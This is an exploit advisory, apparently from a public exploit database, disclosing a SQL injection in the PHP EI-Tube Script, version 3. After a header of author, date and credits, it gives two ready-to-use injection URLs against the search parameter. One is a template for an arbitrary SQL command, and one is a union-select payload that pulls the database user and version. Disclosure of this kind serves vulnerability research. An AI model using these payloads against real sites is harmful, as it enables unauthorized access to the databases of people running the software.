EI-Tube 3 - SQL Injection

# Exploit Title: PHP EI-Tube Script - Sql Injection
# Date: 2019-02-21
# Exploit Author: Meisam Monsef - meisamrce@gmail.com
# Vendor Homepage: https://codecanyon.net/item/eitube-youtube-api-v3-site-builder/22722912?s_rank=17
# Version: 3
# Tested on: ubuntu
# special thanks : Alireza Noorkazemi - A-H - Akhzari -
# Net Hunter (Pouya) - M.Azizi - EBI -Navid - Shahab RA - SAM.SH
# M.I - Nikavar - Hosseini
# very special thanks : esecurity.ir

Exploit:
https://target/search?q=-999%22+[sql+command]+%23
https://target/search?q=-999%22+union+select+1,user(),3,4,5,version()+%23